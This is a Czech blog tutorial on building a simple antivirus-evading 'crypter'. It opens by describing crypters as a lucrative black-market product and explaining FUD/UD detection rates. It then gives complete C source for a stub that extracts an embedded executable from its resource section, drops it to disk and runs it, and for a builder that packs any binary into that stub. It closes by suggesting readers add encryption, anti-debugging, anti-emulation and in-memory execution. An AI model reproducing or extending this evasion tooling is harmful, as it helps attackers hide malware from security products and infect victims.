Píšeme jednoduchý crypter

Cílem článku je popsat postup tvorby vlastního crypteru. Článek demonstruje postup na velmi jednoduchém a základním crypteru, který může být využit jako základ pro budoucí vlastní tvorbu.

Úvod
Cryptery jsou dlouhodobě velmi žádaným artiklem napříč fóry a blackmarkety. Jedná se o aplikace, které dokáží změnit tělo malwaru tak, aby nebyl jednoduše detekovatelný antiviry. Nutno podotknout, že ty opravdu TOP packery a cryptery se prodávají v řádu stovek a tisíců dolarů za instalaci včetně podpory (jen pro představu: před asi čtyřmi lety bylo možné koupit TOP crpytery i za cenu okolo 5000 dolarů). V současnosti jsou fóra přeplněna odkazy na downloady nejroztodivnějších výtvorů. A postupně se začínají objevovat i webové služby zaměřující se na crytování a packování uploadnutých binárek. Jinými slovy: Jedná se o opravdu lukrativní biznis nejen mezi kyberkriminálníky, ale i mezi běžnými pentestery, kteří občas potřebují svůj kód ‚zneviditelit‘ proti antivirovým aplikacím použitým v rámci testů. K tomuto účelu můžeme využít dva přístupy:
– použití prostředníka (tak zvaného stubu), který ve svém těle ukryje skutečný kód čímž zabrání detekci malwaru uloženého na disku
– úpravou cílového souboru tak, aby se sám dokázal rekonstruovat z kryptovaných dat
My si v tomto článku popíšeme první techniku. Je jednodušší a snáze aplikovatelná v libovolném prostředí.

Teorie
Crypter využívající prostředníka (tak zvaný stub) potřebuje ke své činnosti (jak už název napovídá) Stub. Stub není nic jiného než binární soubor obsahující dekryptovací rutinu. Cílová aplikace je pak uložena v zakryptované formě jako součást (v našem případě) resource sekce PE souboru (to není podmínkou – zakrytpovaná binárka může být uložena libovolně v souboru, například jako součást poslední sekce nebo jako nová poslední sekce souboru, možností je prakticky neomezeně mnoho). Aby nebylo třeba soubor upravovat ručně, je třeba kromě Stubu vytvořit také samotný crypter. Ten má jedinou úlohu: Zjistit, jakou binárku chce uživatel kryptovat, zakryptovat ho, a následně propojit se Stubem. To je vše 🙂

Praxe (Stub)
Návrh kvalitního Stubu je stěžejní bod celé operace psaní crypteru. Bez kvalitního Stubu bude naše binárka velmi rychle detekovaná a připojená mezi signatury antivirových společností. Zde si dovolím udělat menší odbočku a vysvětlit několik názvosloví. První z nich je zkratka FUD. FUD znamená Fully UnDetectable, neboli plně nedetekovatelný. Takové cryptery jsou vysoce ceněné a to se promítá i do ceny případných prodávaných produktů. Dále je to UD neboli UnDetectable, neboli nedetekovatelný. Takové packery počítají s maximální detekcí 3/55 proti VirusTotalu. Protože je velmi náročné napsat Stub s nulovou detekcí, je obecně jednodušší napsat dva nebo tři Stuby s detekcí 1, 2 nebo 3/55 a dát uživateli možnost vybrat, vůči kterému AV produktu bude výsledná binárka použita. Ušetřený čas může být následně použit pro napsání dalších stubů, případně studiu nových potenciálních cest. Asi většina lidí čeká, že se stuby píší v programovacím jazyce C/C++. Realita je však jiná. Stub můžeme napsat v libovolném jazyce. Mezi nejoblíbenější patří C/C++, Assembler, Visual Basic, Pascal a v poslední době rovněž AutoIT. Obecně však můžeme Stub psát v libovolném jazyce. Vlastně je vhodnější psát Stub v nepříliš rozšířeném jazyce, který není derivátem některých z notoricky známých jazyků, lepe řečeno: Vygenerovaný kód je natolik komplikovaný a odlišný od běžných kompilovatelných jazyků, že dokonale zmátne antivirové produkty. My pro názornost použijeme jazyk C/C++ v kombinaci s Windows API. Rovněž je vhodné brát ohled na výslednou velikost stubu. Není nejlepší vyzitkou mít stub velikosti několika megabajtů, když samotná aplikace, kterou tímto crypterem ‚chráníme‘ má pouze pár případně několik desítek kilobajtů.

Microsoft ve své sadě Windows API podporuje funkce pro práci s PE souborem, konkrétně s resource sekcí. Resource sekce je sekce PE souboru obsahující menu, ikony, kurzory, obrázky a další podobné části. Obecně lze říci, že se jedná o balíček externích zdrojů připojených k souboru. Tuto sekci využijeme pro uložení souboru, který chceme ukrýt před zraky uživatele nebo antivirových produktů. Vše, co potřebujeme znát, je identifikátor daného prvku v resource sekci. To je vše. Dejme tomu, že jako identifikátor zvolíme číslo 1337. Pomocí Windows API funkce GetModuleHandle[1] získáme handle aktuálního modulu (tedy stubu). Zavoláním Windows API funkce FindResource[2] se pokusíme ve stubu nalézt náš identifikátor. Pokud ho nalezneme, není problém zjistit velikost tohoto prvku resource pomocí Windows API funkce SizeofResource[3]. Abysme mohli s naším resourcem pracovat, musíme ho nahrát tzv. do globálního prostředí. K tomu slouží Windows API funkce LoadResource[4]. Nyní máme náš resource v globální paměti, ale nevíme, na které adrese se nachází. Proto zavoláme Windows API funkci LockResource[5], která nám vráti pointer na paměť obsahující data našeho resourcu. A to je prakticky vše. Nyní stačí pomocí Windows API funkcí CreateFile[6] a WriteFile[7] zapsat do souboru a soubor následně spustit pomocí funkce ShellExecute[8]. A to je vše ke Stubu 🙂

#include <windows.h>
 
#define FILENAME "1337.exe"
 
int main(){
  HANDLE hModule = NULL, hFile = NULL;
  HRSRC hRes = NULL;
  DWORD dwResourceSize = 0, dwNumOfBytes = 0;
  HGLOBAL hResLoad = NULL;
  LPVOID lpResData = NULL;
 
  hModule = GetModuleHandleA(NULL);
 
  if(hModule != NULL){
    hRes = FindResource((HMODULE)hModule, MAKEINTRESOURCE(1337), RT_RCDATA);
 
    if(hRes != NULL){
      dwResourceSize = SizeofResource((HMODULE)hModule, hRes);
 
      if(dwResourceSize > 0){
        hResLoad = LoadResource((HMODULE)hModule, hRes);
 
        if(hResLoad != NULL){
          lpResData = LockResource(hResLoad);
 
          hFile = CreateFileA(FILENAME, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_ALWAYS, 0, NULL);
 
          if(hFile != INVALID_HANDLE_VALUE){
            WriteFile(hFile, lpResData, dwResourceSize, &dwNumOfBytes, NULL);
            CloseHandle(hFile);
            ShellExecuteA(NULL, "OPEN", FILENAME, NULL, NULL, SW_SHOWNORMAL);
          }
        }
      }
    }
  }
 
  ExitProcess(0);
  return 0;
}

Praxe (Builder)
Máme stub a potřebujeme ho nějak upravit. Můžeme tuto činnost provést ručně nebo si napsat jednoduchý kód, který tuto činnost automatizuje. Tomuto kódu se říká Builder a dělá přesně opačnou činnost než Stub při dekryptování našeho resourcu. Takže jako první věc si někam do paměti načtě obsah souboru, který bude tvořit nový resource. Protože se jedná o poměrně rutiní záležitost, zmíním pouze Windows API funkce, které mohou být pro tuto činnost použity: CreateFile[6] pro otevření souboru, GetFileSize[9] pro zjištění velikosti souboru, VirtualAlloc[10] pro alokování paměti a ReadFile[11] pro načtení souboru do alokované paměti. Protože se nikomu nechce neustálě kopírovat znovu a znovu Stub do adresáře s Builderem, použijeme Windows API funkci CopyFile[12] pro vytvoření kopie originálního Stubu. Následně pomocí Windows API funkce BeginUpdateResource[13] předpřipravíme Stub pro update resource sekce. Pomocí Windows API funkce UpdateResource[14] vytvoříme/upravíme resource, který má identické ID jako ID použité ve Stubu, v našem případě 1337. Pomocí Windows API funkce EndUpdateResource[15] provedeme závěrečný update úpravy resourců. Tím jsme zakryptovali požadovanou binárku do Stubu.

#include <windows.h>
 
#define INJ "calc.exe"
#define STUB "StubX.exe"
#define COPY "Stub.exe"
 
int main(){
  HANDLE hFile = NULL, hUpdate = NULL;
  char *lpData = NULL;
  DWORD dwDataSize = 0, dwNumOfBytes = 0;
 
  hFile = CreateFileA(INJ, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL);
  dwDataSize = GetFileSize(hFile, NULL);
  lpData = (char *)VirtualAlloc(0, dwDataSize, MEM_COMMIT, PAGE_READWRITE);
  ReadFile(hFile, (void *)lpData, dwDataSize, &dwNumOfBytes, NULL);
 
  CopyFileA(STUB, COPY, FALSE);
 
  hUpdate = BeginUpdateResourceA(COPY, FALSE);
 
  if(hUpdate != NULL){
    if(UpdateResource(hUpdate, RT_RCDATA, MAKEINTRESOURCE(1337), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (char *)lpData, dwDataSize)){
      EndUpdateResource(hUpdate, FALSE);
    }
  }
 
  VirtualFree(lpData, dwDataSize, MEM_DECOMMIT);
 
  return 0;
}

Teď již pouze stačí nakopírovat všechny soubory do společného adresáře a pojmenovat je dle požadavků.

Tento kód má několik základních nedostatků: Kryptovaný soubor není vůbec kryptovaný. Crypter tedy trpí absencí kryptovací rutiny. Dále jsou jména souborů a identifikátory hardkódovány, což zjednodušuje detekci. Dále zde zcela chybí příhodné grafické rozhraní. Jako domácí úkol si čtenář může přidat rovněž anti techniky (anti-emulace, anti-debugging, anti-disassembling atd atd). Technika využití resource je tak notoricky známá, že je prakticky v této podobě nepoužitelná 🙂 Rovněž uložení extrahované binárky do souboru je nepraktické/nevhodné. Mnohem lepší a praktičtější by bylo místo ukládání do souboru aplikovat funkci pro spouštění binárky přímo z paměti (viz mé předchozí články na toto téma).

Odkazy
[ 1] – GetModuleHandle
[ 2] – FindResource
[ 3] – SizeofResource
[ 4] – LoadResource
[ 5] – LockResource
[ 6] – CreateFile
[ 7] – WriteFile
[ 8] – ShellExecute
[ 9] – GetFileSize
[10] – VirtualAlloc
[11] – ReadFile
[12] – CopyFile
[13] – BeginUpdateResource
[14] – UpdateResource
[15] – EndUpdateResource

3 komentáře u „Píšeme jednoduchý crypter

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *